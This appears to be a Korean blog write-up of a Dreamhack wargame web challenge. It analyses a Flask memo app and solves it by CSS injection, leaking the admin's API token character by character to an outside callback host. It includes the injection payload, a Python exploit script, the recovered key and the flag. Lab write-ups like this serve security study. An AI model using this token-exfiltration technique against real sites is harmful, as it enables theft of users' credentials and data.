코드 분석
token_generate() 함수
def token_generate():
while True:
token = "".join(random.choice(string.ascii_lowercase) for _ in range(8))
token_exists = execute(
"SELECT * FROM users WHERE token = :token;", {"token": token}
)
if not token_exists:
return token
랜덤으로 소문자 아스키값을 8개 생성하고 token 변수에 저장
users 테이블에 해당 토큰이 이미 존재하는지 확인한다. 만약 해당 토큰이 존재하지 않으면 해당 토큰을 반환
apikey_required() 함수
def apikey_required(view):
@wraps(view)
def wrapped_view(**kwargs):
apikey = request.headers.get("API-KEY", None)
token = execute("SELECT * FROM users WHERE token = :token;", {"token": apikey})
if token:
request.uid = token[0][0]
return view(**kwargs)
return {"code": 401, "message": "Access Denined !"}
return wrapped_view
요청 헤더에서 API-KEY를 가지고 온다. 해당 값을 apikey에 저장한다
users 테이블에서 있는데 데이터 중에 token이 apikey인 컬럼을 조회한다.
만약 해당 컬럼이 존재한다면, request.uid에 해당 컬럼의 uid값을 저장한다.
/api/me 와 /api/memo 엔드포인트
@app.route("/api/me")
@apikey_required
def APIme():
user = execute("SELECT * FROM users WHERE uid = :uid;", {"uid": request.uid})
if user:
return {"code": 200, "uid": user[0][0], "username": user[0][1]}
# users 테이블의 uid, username 값 보여줌
return {"code": 500, "message": "Error !"}
@app.route("/api/memo")
@apikey_required
def APImemo():
memos = execute("SELECT * FROM memo WHERE uid = :uid;", {"uid": request.uid})
if memos:
memo = []
for tmp in memos:
memo.append({"idx": tmp[0], "memo": tmp[2]})
# memo에 idx와 memo에 들어있는 데이터 append
return {"code": 200, "memo": memo}
return {"code": 500, "message": "Error !"}
APIme() 함수에서는 아까 request.uid에 저장해뒀던 값이 포함된 컬럼을 users 테이블에서 조회한다.
APImemo() 함수에서도 request.uid에 저장해뒀던 값이 포함된 컬럼을 조회한 후에 해당 컬럼이 존재하면 해당 컬럼의 idx값과 memo값(text)를 memo 리스트에 append한다.
그리고 해당 memo 값을 반환한다.
따라서 api-key를 알아내면 admin 계정에 저장된 flag값을 알아낼수 있다.
익스플로잇
css injection을 활용하여 admin 계정에 저장된 데이터들을 leak 해야한다.
templates 폴더에서 html 파일들을 보면 대부분 base.html을 extend 하기 때문에 css injection 공격이 가능하다.
우리는 report 페이지를 활용해 어드민 권한으로 url에 get 요청을 보내, mypage에서 token을 뽑아볼것이다.
IP ping back 기법을 사용할 것이다.
background-color: {{ color }};
payload = /mypage?color=white;}} input[id=InputApitoken][value^={}] {{ background: url(https://skcgqkz.request.dreamhack.games?data={});
위의 페이로드로 api-key를 구하고 구한 api-key값을 headers로 report 페이지를 통해 보내주면 flag를 얻을수 있을것이다.
익스플로잇 코드
import requests
import string
url = "http://host3.dreamhack.games:23404/report"
data = {'path' : ''}
for ch in string.ascii_lowercase:
path = "/mypage?color=white;}} input[id=InputApitoken][value^={}] {{ background: url(https://skcgqkz.request.dreamhack.games?data={});".format(ch, ch)
data['path'] = path
print(data)
requests.post(url, data=data)
위의 코드로 value에 들어가는 값을 하나하나 찾기 위해 8번 실행하면 된다.

구해진 api-key = mtwfioju
import requests
headers = {"API-KEY": "mtwfioju"}
url = "http://host3.dreamhack.games:23404/api/memo"
r= requests.get(url, headers=headers)
print(r.text)
headers로 구한 api-key를 전송
결과 : {"code":200,"memo":[{"idx":1,"memo":"FLAG is DH{a036f98c93acba0a04657ec6a6080d0a771a3d24}"}]}
'CTF & Wargame(WEB)' 카테고리의 다른 글
| RPO(Relative Path Overwrite) 이해하기 (0) | 2025.04.21 |
|---|---|
| level 2 Relative Path Overwrite (1) | 2025.04.18 |
| level 2 Client Side Template Injection (0) | 2025.04.18 |
| level 1 CSRF Advanced (0) | 2025.04.18 |
| level 3 CSP Bypass Advanced (0) | 2025.04.18 |